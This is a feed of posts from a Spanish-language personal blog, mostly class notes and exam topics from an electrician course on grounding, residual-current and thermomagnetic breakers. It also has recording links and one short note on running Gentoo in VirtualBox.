<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwD9LkOquMJUJUiW8P6CkfK7FuxizxoAG0iNEYJpAqJChC_ZyaOBNK34ZOWgxf-deYdzB8Od0xmiu5jgK8L9pI86F-Xy3DXoRFDJv5WyizeWp_b24x6WSn9DeyizRToDgeiHm6mAc-VwmpgSQY8igeKd53XWtonpX6zwE8DfdR_N3N_OZGr6Ju1mBSmXs/s4160/IMG_20250611_183019653.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCCGLEybFmFEpxrvniGZ-039a75o9dk2IG83pPowgBG5hmf4nhRC3ch9Pkc2Xgh3zR_iFETc5p0V2L0lK14ssv3gMaFE9XV9mAuABvt8vZmVe32uE0JH6hT9IX6rao7mtBj_ntMRxd7lTo5390aGO0jZKe_LDcDbPCTiOUqDqtMKpEnTjq8-0tQ8zoSUI/s4160/IMG_20250611_183022961.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiaaLPkcmFq-dgub6ndt2kHOThUZuTKsQQCgJ0mbcCuyypFLr7v_7nFcScZEE39K__A1zVB8v0wB5e06xH_ZLpq1psg0_ydpNUK1c3_o1brtYO8pD9SL7AypWT7nyMCEaGOyVekD2IVkvbulCAkvFHPahZCaLxB47TIuYHnbFYsoqv_oiFJDf6GAQwY3s/s4160/IMG_20250612_012832341.jpg" alt="">
Red exterior.
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgceoFvlQJvsHrF0RO9AMUEttl3GGucIt0aCpsmROk-L-T572Mopn0MEvWDm1mXPRpZbq8YsaEmJCSUGkX5-INVITyS2nRCH8CHCgt3qovjgOlV__qz0765aEbgGCFTcNL6uKxYopsqqMrQUO0nhxoKVRN9Cuka09O6ZLQfTMrkJrmMSZ7kDDAdX3usA-4/s4160/IMG_20250612_012840618.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDzzb-320YkAQSrCpL2tU4M1de4qjqm7t5U6MsIKtAFpKVhqLOJkj3xVN-XHXEc2UAK7lbgP2c5snPORq7A1oJ4oBCNpIhyndN7i1hj_WTteqhz9G-vQ-7ZoUug9ZW_B2p6eX0X8DXUza8PWUR6vdalyTAfB22tS9aGdd4ILd4vjBcCicSLq7sB5C60oQ/s4160/IMG_20250612_012851158.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG-oPb1GZve23UMkwnQvGtX9JoBp0-e-ZYrzWLiKj68j7ZJkr5H7unrc1uaxC3jrfGID71LUvL1AVxq6tYtMFK2ecUjTv06Vy0xd_ezqP20Dac2nss2X8i9UwZejyR3nABpSFR43PqvuuDZVrTZEY-WS38dxYtnWV_qGW0M0kzao_enw_ZoscjAUq_ZK8/s4160/IMG_20250611_190100368.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0-JD5mpQRwU2Xp41Mq0oHS6sqLTCDH_IFlhCQ1u5yeZRTECxkEkdphrgYywFM3J2UwMAJqXeIYXDGjKjhNTiBPcxW2lKyIKhpoyADZLHqI4Ur4GdNlQPOVZdlTinE0LWEg_muxqzNwUT4oOlaXjelExpoRohr-u5DXDDs-qey9_AD6vdGN-jA2hukTc/s4160/IMG_20250611_190127396.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipObIQO_FxmU_fQOMe0YQGwjZaXRyrOs2xAh6BPUn5hJUMLC78tHpsL-MQ8m6H1d3YYl02SY4dTsDEHqgb61UuSU6ytilQQuNFprg_7c8DUOimaVLNSdMCaxSwnSoKJxb8AJaRgYTE6geft4DpRtGDE2UZQyZjKEzVBSTUExfhU_rI6tx3UXW_UwY3YiY/s4160/IMG_20250611_191511575.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo0-YNAkBrpWIFk8b08fBAAMSKdgGHLlAQOKPPDvxPvCI-fxUNKuz32YRHhNtkpKW8idGAMM905l9P7LSACc6YLTTBEi8nkG00jaU_k816yT5zqEJiyBn7nGLMAEdglWoYVqSX4esj_2JtGq27eGSJNzj2dkbg-t2y7CLs5rD4RV0fVf40YdUuaeTcZPo/s4160/IMG_20250611_191520106.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh09lN6c1sDwmhD2j5NZ3jCnkXz1wElSHGQ2coa6w4QAispa-FOkx61H-HnBHL143nSp9rX5oGR0oHZ0yIGtWcOoc0LcblEBgaF7nmmIaUZJhv5fFFYPfw9JbL_xe4IsMgkfM8EkhIpy6q-qgqxEDhlRTxeykJa4ZCHNwQzBtukfhgfYFZmih5vDxQTGOI/s4160/IMG_20250611_202534585.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU3b44UDyboY1fm1GypoLGfzh5lfnJeNyejHskICKr4ExT2siVNT6vkmDZqh9BMKk8fFfKOuZ1k61NQ9ZOKTKzA0_6vh-qoeNdLFuVRMdsLgaec25hNof-EIpwzTBSlL3XfZ0cLZpGu8fiwdzdS_brWSE_cNwfpDs1gpPiWL4Q9PjsfN3PvfKzMep-yIA/s4160/IMG_20250611_202545439_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic6ELOWn3V0M5sd16KUtz_Mcyz5p7_0U0yBIogh83M-GBVTwaWblVabgFG4coohhrjFBbkej38bW8mRsK6_0tqPPuNlmSSSjSpbXG-k_2uG3IlRjaN83HBz54YzkHXOgjsxRdXx9qJJ8UJww8uJPfG4n8cmzkl7Eq2rWrpe6_-wHb-WZt3kuuyMxGYSlU/s4160/IMG_20250611_202545439_BURST001.jpg" alt=""></p>
<h4 id="llega-profesor-al-minuto">Llega profesor al minuto</h4>
<p>Tenemos martes y miércoles el examen si tienen alguna duda pueden seguir el otro día.</p>
<p>Pregunta que me surgió: el examen será en 2 días como fue en auxiliar electricista?</p>
<p>Profesor mete muchas preguntas pero siempre referido al tema.</p>
<p>Primero vamos a empezar con lo básico y para que sirve y después comprobaciones que se hacen.</p>
-
Electricidad / Clase 36: [FOTO] Puesta a tierra. Jabalina. Disyuntor igual o mayor a térmica. Preguntas examen: símbolos eléctricos (tablero seccional, llave, puesta a tierra). Pararrayos frankin. Comprobar tierra sin telurímetro. Hilo san martín. Diferencia entre el neutro y la tierra. Si ustedes están en el campo lo 1ero que hay que hacer cuando hay descarga es tirarse a tierra. Internet del Estado fracasó (antes de Marandú). Diferencia entre neutro y tierra. ITM, diferencial y la puesta a tierra. Como actúa disyuntor. La única cosa permitida dame la 1era fotocopia de todo la 1era pregunta del examen: una instalación eléctrica es segura y confiable cuando ha sido concebida y realizada por un instalador electricista habilitado que ha aplicado la reglamentación para la ejecución de instalación eléctrica en inmuebles de la AEA. Y ha utilizado materiales normalizados IRAM. Esquema de la acometida entra examen. Elementos para comprobar instalación. Esquema de eléctrico de luces. Fotocopia agrupación de conductores. Como deben estar las bocas de iluminación. Preguntas examen para montador.
https://imlauera.github.io/electricidad36/
Wed, 11 Jun 2025 09:45:52 -0300
https://imlauera.github.io/electricidad36/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/19Ddr8rj9Jco">https://vocaroo.com/19Ddr8rj9Jco</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-155">https://archive.org/details/record-155</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/WnY_OAYbhB8">https://www.youtube.com/embed/WnY_OAYbhB8</a></p>
<h6 id="video-enviado-por-whatsapp">Video enviado por WhatsApp:</h6>
<p>¿Qué es un interruptor diferencial y como funciona?<br>
Protección contra fugas de corriente:</p>
<p><a href="https://youtube.com/embed/rVYnCUd79dw">https://youtube.com/embed/rVYnCUd79dw</a></p>
<h6 id="interruptor-automático">Interruptor automático</h6>
<p><a href="https://www.facebook.com/reel/1248266576913908">https://www.facebook.com/reel/1248266576913908</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzjyXh4QGrd76tbKWTcLueQDq9K6yNfpD18B7JtA1zG8rDHwiAskWZJJPWhojzq8I8rWZFziGmUdTkqQex0MikzbcGGeEwixmZ71zJkXadmw946wfdST8RmDGqmKwcSInu4D9BJ4mgfn9-U2Yja5MJDubysEJizftzqIPekU9JnRC0df4s1IKrnkxA0LI/s4160/IMG_20250610_201218076.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-OaThnbTML30TO9_UrJWIfXiI2DqdG0O4HTEkLjcpjHmnL9qlCwoi8Y0QTBjcYh8D3rRSOBQQ21o924HL5SNFl8BpkrgXweUOJqscdRAsf7d_K6U-J-GCV44MpRiyLVWFVrAH6pMgOTdmqmZgJmOUYWgJEE01Loa2qLYUGHF29i_pZeN_7zCNxX8Mqgw/s4160/IMG_20250610_201214795.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJOcIHIRXoU4q1r1WvKkwzpXl1DNheNkhHLdxPRbs77Ow73CvugFVWq9uS4FvCb-ffiOo3PIXzvra3RSOB-pz6Ni0J8Q3uytcAV9ehXmxR_3Be5gVGgRoUrwoNdDoACTt1mAdBxLqDrXf1k_JYc55kkM41UOpTeB42ceeLsxjzvgwW5OD-PK4qE20do7U/s4160/IMG_20250610_201209812.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCP-fhkTHMs7oOxC086TL0Tul2m16zSdaDh6C4hLBJi0lNuiXPco4aPk83fsdU49xEtoBqPRZ8PYJlIH73NcuDrRuS9BrdvbUuB-bjm4RrY2jCLRG7LviDhYnEbzc1ccskLhhWmDvrKl-kzkOwou8nrpHq29ije2pDw9MoAPyeOyAwMeQTgXjilkmrroY/s4160/IMG_20250610_201203805.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1H4Sx2JtbO_xTHrjQE-pynWNlJETzgynKRjkvwaC3IZ4q7LvyYjg1D_AEAFxB1-QpHrT0HcMHEZAvBWzE2cb0FXLJ0kqQ6jydGYwjVtefyR3aEoYH1gW1umrrdwc9E__J3C56rg6ND5C-femEX6b8zX7gBet1zf2-8aWpIqLIPnO7HTIFecD_Awnqs-E/s4160/IMG-20250610-WA0100.jpg" alt=""></p>
<h4 id="transcripción">Transcripción</h4>
<p>La semana que viene vamos a dar el exámen.</p>
<p>El martes es feriado.</p>
<p>Hay un curso para los docentes prevención del suicidio en ámbitos escolares. Yo no voy a hacer el curso ese porque todo el día no puedo perder, desde las 8 de la mañana hasta no sé que hora.</p>
-
Electricidad / Clase 35: [FOTO DE PUESTA A TIERRA] Partes de un disyuntor. Sistema de puesta a tierra. Preguntas de exámen. Alumno cuenta accidente tránsito. T.
https://imlauera.github.io/electricidad35/
Mon, 09 Jun 2025 23:09:29 -0300
https://imlauera.github.io/electricidad35/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1cTonDaIf9VT">https://vocaroo.com/1cTonDaIf9VT</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-152">https://archive.org/details/record-152</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/Wgl4s89aA_k">https://www.youtube.com/embed/Wgl4s89aA_k</a></p>
<h6 id="preguntas-de-examen">Preguntas de examen</h6>
<p>Hora 01:06 y hora 01:25</p>
<p>Video que paso Espeche por WhatsApp:</p>
<ul>
<li>Como funciona un interruptor diferencial. Electroconexiones: <a href="https://www.youtube.com/embed/rVYnCUd79dw">https://www.youtube.com/embed/rVYnCUd79dw</a></li>
</ul>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdqyMeeA11mL8rpR5PDlyYfL-QU_Qb-oL5MkvxDeMFizR2cuBAAYqgrQ62Wqknk7XEASX2qfrT4LwjFGD5ZFhnaBNZ7OC7LbHcBDh4UIHhPsR6RmMMcqFwV7Wzgy15O0kiofEu6rtxVmRfQW_HHf6Ff_Z-grHoBMyHW-t12ORlvvLa27PW5J2VQP1x_I/s4160/IMG_20250609_181751613.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHRnDb8B_hvvtMhJPPn4p5C4vVYYktXX3F1iZi1_Xm_tRw7bt2bydpqoKDSomuoCGPtubOHq3c1EV3LmLF5BtwTYnfV1n6w3irAFXYLItduAL47htKXcF13G2YyQRuCEkFHS_60EHbAHW2dpMjZJ3GsI2YvKfQGzx66PX-ojHnKG9W6JUuqISnfeDPwGc/s4160/IMG_20250609_181806519.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDvcF5pdZ3VOo56LvyBhAavuX9_jRTsqc05n-Yn6owGIiN0vS1Sl_tFmG6RfM4RPnx_BdZoDwnEI0_o9qwKBzAd3AfDsfXtdFhxggMj0lQ38un81l2fh6iWHiJ7qPUdvAnfY4sddsLdOKvG8wkbYWmOSzDICu38caf1ZDWXyAwfF-4deL56Y8ww5Cx968/s4160/IMG_20250609_181809475.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXBoVFEsRycYxnPQIvXofMo80h5J0RgpVBDdKdtq9kpU57tncXFXmTiPgWrLji07vcABh0-uNmHrh7VmNbJ2sTUIU8WA_536LHnC-yMS6qbFc7U-H5KkqkbjbthGESKbGZywb72CImeDBw6zRO0n2qlX5UIkHcxXBJkzldvXbjLjMO_jFOqXBrJ0BZVgY/s4160/IMG_20250609_200801031.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp58b9gM7WvLKwJK_1_fQP7SdjsXxXeHA0qfe39GlGwE-5MvpytX05TvRf2bzZpHrtcxLck1elvEEiMb7CbxPGKxTh4MN-tWE6gFyos993TjU34TPQiNxF344EbdLvT96gFsCSVbhScd71kNvBkefR2ZF3QaIqZZCp1a2mKSDR2VtsF9kRpm76wt_R9Es/s4160/IMG_20250609_200807516.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghta2KMXIlgNS_FnHWIts7Wx5KE7S0L7RnVT5bwoyymXgrG8Dt7nd5JSryKSb6g-0rqcqDH9ohCcaeuQSqrr8j_6WGQVbdLgCSQWpuIXASUowUwBAuKavuv-C1XYfDWo4fylLE9_BBh4UtTjxyfj3c8NaayFdorUvasU7oUq_jD2_Jgsj8DTjd9mzuzF8/s4160/IMG_20250609_201603602.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtPsdKmmI6Q8rDHbPWMziggmvDyjXVkH0Zw0yQ5ayXHAw8gqyT7ftVuv8wZTHsrOKIAzEwd-meJcv0gXcr6_EeYMIZr7R_6823pu7U0UMyY8riiD9fWoAZelhROMVDFgVHUuXaaXnWclPWhYIojQS1bOzrNXgRw0qesrXERIO15fDlYEI9Cap2nhSSpe4/s4160/IMG_20250609_201755129.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKNX-XLw1UwtVXwrAQ_NeXj0dipYsRX8nDWhPzeU2b5uIZhDfJLtKJCXo5HcNKpgs3ViukOQdpjkDZ4ZU2YkeJegT9Nz6_BM4pYJpoXeIQUWFnRabH3fTwNEfJKeAQZ4j9c0svzdaR0ZytV6dS_eAvyZyiff1BUppeLHz9ZKCtpGJaXV_xagtV6nVKJ1s/s4160/IMG_20250609_201759013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_kqWcqDY88-gdsiQmne0oRJmEY-ui4eEsHzrYp0JIqZe5g_5dhdMTVrvqlkeuwSKNDlhfIH5fXfmbAUn_mP08kiPLI7rE0h-9OQtkllSrWTTHkN8hnPI88hblkg4nLQugZTUUMKVY04HYmIDtmJC2lUY6nRyU1iDX5PJjC-Gl-jTRL5FFVN6mlM5w1uU/s4160/IMG_20250609_202142966.jpg" alt=""></p>
<p>Alumno imprimió las 54 páginas para no decir que no hizo nada.
Alumno se le complica con el frío le deja tirado, frío y humedad.
Alumno tiene prótesis cuando hace frío ni sale de casa tiene una sola pierna se le hincha cuando hay humedad, chocaron del lado del acompañante todas las costillas rotas, estuvo en coma en la avenida Uruguay y Bustamante.</p>
-
VirtualBox
https://imlauera.github.io/virtualbox/
Fri, 06 Jun 2025 14:09:41 -0300
https://imlauera.github.io/virtualbox/
<p>Estoy instalando Gentoo en VirtualBox en una <code>Intel(R) Celeron(R) N2806 (2) @ 2.00 GHz</code> primero intenté usar <code>Qemu/KVM con virt-manager</code> pero me tira un kernel panic al intentar bootear cualquier distro, no sé el motivo.</p>
<p>En VirtualBox para scrollear en la TTY se usa <code>Shift+{PgUp,PgDn}</code>
Cambiar de tamaño un hdd ya creado: <code>VBoxManage modifymedium disk <path-to-your-vdi> --resize <size-in-MB></code></p>
-
Electricidad / Clase 34: Interruptor Diferencial (Disyuntor). Preguntas de examen diferencia entre fusible y ITM. No existe disyuntor unipolar. Solo bipolar o tetrapolar. Profesor le tiraba piedras a su hermano con 30 metros de distancia. ¿Se puede instalar el interruptor horizontal? Trabaja igual no importa si está horizontal o vertical por norma pide que esté vertical y que la entrada sea por arriba y salida por abajo. Interruptor termomagnético trabaja aguas abajo y aguas arriba: si tengo cortocircuito abajo funciona y si tengo cortocircuito en la línea arriba actúa también el ITM. El disyuntor solo actúa aguas abajo. Potencia sobre tensión es igual a corriente con eso sacamos la sección del conductor y ahí aparece el ITM.
https://imlauera.github.io/electricidad34/
Wed, 04 Jun 2025 21:34:35 -0300
https://imlauera.github.io/electricidad34/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1hSZf8wq7RJM">https://vocaroo.com/1hSZf8wq7RJM</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-149">https://archive.org/details/record-149</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/IZ6v9_YFhmY">https://www.youtube.com/embed/IZ6v9_YFhmY</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicimSCZWdi_e2zHxb-Bak-NU5YKDRdyi8u_TO1kqRhi4Isbe33WuxAPeaDRi5d834PhnlhlqC4OgAj4PPyI40Futiy6LaaC8oFAl1kWQUs3PON9QLwS50rPnpm5KangUggpNkJYylz1w2fvIxJx5AycjpueyLcctEbiCIRipbP1YM-vhaDPU1nR56lCck/s4160/IMG_20250604_185357112.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcqM-ONYEcRg9PE9tVOr3RPfBfrpHTq2eJlWriVdJRhXcIAOvrzwqsqGhcRNAJbgYeyAkK2sElCIY5HOIUsH0K6U77h5KWFyS_X61M73gLWj6_4cntGne3bIEBS6a71V5jM4c7Ie61OsHT51sCX5imrUKpSECnJwO9UlG1TSrLtOogreX7aK0f6y7gS-M/s4160/IMG_20250604_193347255.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWsRqSRdy1CVyIsYHotCZYZ_AWmR4sA1HggbL8bK-GSFq7OkCtOLqDnhkt_lx3Zl1N80dvj55o0mbv78KHSp_V81Jd8bGeFZm4GYjyXaAur5ksbhpxjDYvQrjRDOGSRF2QBSEC1Aa4Gh7q3aoJIdxvnuKRMPw4tmKILcmeATWufpWjv5P98Rvi_fIjhBQ/s4160/IMG_20250604_193356461.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDT8f1aLOZMnU4bURNsyHgMUQCmXp1c__GNCipzc3ySwOUuTT3ZLtJlaKAGpFvVkpKtSrBUtN2NRlWGurI-dzubUdQVKdoBvyuRtWCQuChk01d03NZ-X6Qmm0lnD6I1giDpQErAdsnTKAilkmQdVOl-gyPGo5OtbiRx2wX_s1xY4FhmraVrx4SOlFszj4/s4160/IMG_20250604_193407746.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj3X7S7gLmKq8t3yXVZa_BgGPNIkpyR7Vb9NTq2SJNhHgTPhGdQtYuMpQASiyfNt9J2k4JAwKtZCDIZW-ovUisnEa4emuBW3VyoJPYK6FoY6mrKBFDWTSbk6TndliBqT1w4xRrx2Yju6XZbnfjwHePgrHlTpP6WISTR5wm3WL4nxlB_4WJ1iBioNd465Y/s4160/IMG_20250604_193409292.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mxW9qkvzMPz6N2vTaodZVJOVxLlqAW2dF2n9wKMmF9BEJ-mkkrzVHKXEdyufigoVHR4BOgJ7Y7my_cmGCPcOsCM6113iFGrqBXtwm15zgOq3Rrxz4AJdZzltv5cvN6dJtaRSxcw2puJO58PuRvNS3DebPlUL421Yc-whbdZyl8pDib5VdcZ7ls6v_eQ/s4160/IMG_20250604_193413158.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOjbfh8b5xlsm1ky0b4ml8O5VbfHQEBgxRzaEHZpW4HO4WgR3uw24NTsdwEV9BltjVGUR_iJVn5uvGZm2P0tNGxx7BlFjKCsNZeCjPkXwfgsYWLgRlnjqMI4GG8qZpOSgKxhVfLAY7KPiANhLS9aThSc2J47vRT4IKN_6HJGubZ9iXCUsaFJSurArlcI4/s4160/IMG_20250604_200829612.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjn7TuM0x-1E_iFSmosVSHS0vfvb540IRos_1Z4g0J5wJgRLcBMproyUH1QAOwmUyVGoCjnhvMDXYEdNXhQRM6qrj2gOavUFsqd7Lw7LnyYnmJrH4oUzcgeG_3aB6OKOXeVoIFQfmHppFOiHU6g056p5xRZRl6zPx6aImQ0R4K_7bYXhX7DzpkqvODe_w/s4160/IMG_20250604_201211974.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIhQJ1qypunTbHhIEmROsreO4m_uJONlftZaSEnSUb3tJyLOhJBkRzmV2aAuJU6KbsNvyQT9BQIfV6XZSGguhmCNbvcJmCgTziZ74VHDLAKSA42lF02hQnk5oXusOD6LVaZsT0hRu6AB5-nn1UsEzcq9r11g9sqk6d9P-dczbvHV5WuT0a8pm4PVRhZbI/s4160/IMG_20250604_201252262.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivoarIkqk3_9I6yHPNRVvtRwVtn_eBJKgEig_k9vMDZoS80IV2HGpJ8AbBx9frq5W6lj9TPOx_QXQNA3HISvrfSKJ4aXkeJxFKUVggDdUZNACGb1GTC9KeFF0kogeeb3T7BN49a_twbSoh5BRfuoxi52GW0gf0GcfJEAe4uI1vgDlnpEm_WRRrTumpJFU/s4160/IMG_20250604_201727444.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaG4ty1dawsUmrLmtRXA-CXLGqWKDy7Rf5076pAZqzSJ4Iyh2ViLLNyXJuDnRIJMj1osolDnQBOIeiwiPdimsvRNEsqI64cgSUgtD6PC4E0IAypc0ZxqIKWLfBNeD6zwKDdIfzAmAaSTFh0IsI3d4JELjRrJOBTHCxF5Aa_5ZajMmmceqz_VJxQz6oO84/s4160/IMG_20250604_201853157.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiVLj0xtJ0FbPAj3Bwe-RQb2K6Dx2y3xb5lr-OKNQGPwJrMO8FvijBEebvdUUMWC4H2c4MV7GhRlwTga7tn-3jU4ptDHQ3g5VFLz4f1KvkKF-FaVJUBlRhUisFxaMmfZmcLcuvqkIe3P8YzZjk-VHapgdlJCfbGmnX8jjEFTONJ9x1dygmWm3CSpw4Znk/s4160/IMG_20250604_202409747.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqBDvWVMS1TEH2KEsGhDuNjJg32MRGI3boevRLXy1bpMs6OQTulzakD7oH88r8iY1boywYyVGPP83Nbdmp6_H0M6CzdLSZknIKYOCm_AzTuHUfq1-A1oXKftH-tS_KGThag_j54EdO6Kev0EGK7Z-vtdd1JbwhQaj95y61YvWOaWUQEOTbyiyRAScTbtM/s4160/IMG_20250604_202425055.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBb7VBryb3oLe8tUIL-iO1ADZGd-ONCu37MSly_u5o4irk85Vq6i39Kvq3h-VhpxLvuX2C9k-C4ChtNn93US7g_UXkEtmpHFGs0l98H0a1RCTRjry66upFJRfaXNQztyKFm5JxRn7kCv2i-RmJRx1EfI_sj2bH7_2ls4j_QXGuQ6VGdcAG1b0kIkGP9jA/s4160/IMG_20250604_202430620.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5fqpLicjZqHFqeV1ZsT0wHhH1PVo90794f8lnHpbfjhfIezF_KNVw_1s4F6xuPNTujpT9HsPKhA3912-Db4dp8AZLMia1KOZmuCQDN67huLSI3TI4XjGaQyxf8xbjvYxOigLCWuYBUE4TLQxGqoxn_yBTLA1l1y2HS_ReDkLuvmBPpD9Lts6ab0CdmLE/s4160/IMG_20250604_202607921.jpg" alt=""></p>
<h1 id="resumen">Resumen.</h1>
<p>El curso de auxiliar electricista son 70 horas y son 2 horas por clase.
Por lo tanto 70 divido 2 = 35 clases (en realidad fueron 46 clases sin contar la última clase de la choripaneada).</p>
<p>Yo asumí que quedaba 1 semana más en realidad faltaban 4 semanas más.</p>
<p>Todos los cursos empiezan a los 6:30 pm.</p>
-
Electricidad / Clase 33: Calculamos la corriente nominal (P = VxI). Conductor. Térmica protectora. Preguntas examen.
https://imlauera.github.io/electricidad33/
Tue, 03 Jun 2025 21:12:38 -0300
https://imlauera.github.io/electricidad33/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1aYATeHa481q">https://vocaroo.com/1aYATeHa481q</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-146">https://archive.org/details/record-146</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/9RiomY_RwkE">https://www.youtube.com/embed/9RiomY_RwkE</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_uH7NNbT8JFR_1ZmcocqOneAIo7M-3QKaj8UWlHmvS3eOGEA7B1x5iTXLn_J336CcG8plKPiNqjiDv8g39_OGi28BVMDyCqCyxRx7FocNQQVF04OY7h7Iio0NRwH5bkucKEY8H8CHucY4ucw5zbLVnGzNUZzORmHd0zP7NoPsEgWCETR7onBRjl-c29o/s4160/IMG_20250603_191049136.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYA1C5V8z8prCY5nVHOnq9g0s81YOsq1WWXHV5CyE0iuJ_OszyrIAAUR46bF36lxOkn-dJiKnbQdWzK7rJLXk0HJ4C3OQ_WzCv-KB6hLz35f6BjIAJ_TaZXbezlzNXPCo3Nv2p28d38qoi_iKCu2BPi9P2D4QlG7mgQ6H6LwhxLChcIam-1ixeXBYzM-E/s4160/IMG_20250603_202633075.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIxDHt4REcqtXN93rhMUAEt3upRshRiMPASeq2TWXWD3pkV7VsYesl97-zb1OBG-0vzljyA8WbC8CVUvLCKlS2MFGXBqkUXfYRM-DmOy4z4LrpjYWNw-Flnu0dy3Zw62WPZneft5BYZXPzCzIrXvMaiYiEt6B2AlRcDWvMepoRTJeBC7JeFueqf9fsShA/s4160/IMG_20250603_191101170.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2iYTc18hHnHjccgr9cTUYrOOMmkRfzztpk5hrR61aaRHFy5jEJOgMgK9VG6PzOmlVEqwKMofXLOIp-8JX3gGoSoAXMlp4GB50ds1YSX1GdEXU5oMKes5GFMzNrO6FD3fWIqE7xhzFzN0apyRHw33yHjKHP-X2-2Qc_Bd7ev4NJ_u1wXYzQsj_pXa4ANI/s4160/IMG_20250603_202212918.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkcu3vCGpaPqghuCSaqkW4CmsdLn6ljBn8LOYq2N30BwaKYkEvrpBxDJGH1-CpqNoKDzKdX_DFqECSZQ7IAb58DAqI3z3xwOtw_RlcXH8Ljni8DGsIRfUkOAyekqlohqYMJF1YrYcWam3p5U3oFhABwwROkKMBe4ltBF07_wIvGumVmbkNASs3JXKjOXE/s4160/IMG_20250603_202222259.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_MQY1CdgQJNyGtsTCcOcsCwjnFa2OA1o1bWk5AgSJ7VH30KKUCFl6sQjF_mo1S_Huee7i7W1XEZh3G0uxM0hmMLY9w-Z2Cxo0eKzoArgjt9CcycZqi82pCwJl33L4VBAsFb2cD999ncAkviF5WJdpHrtY6NnSvEG7t2WJGR4UvJNBagIX_I1gkYuuaAE/s4160/IMG_20250603_202229643.jpg" alt="">
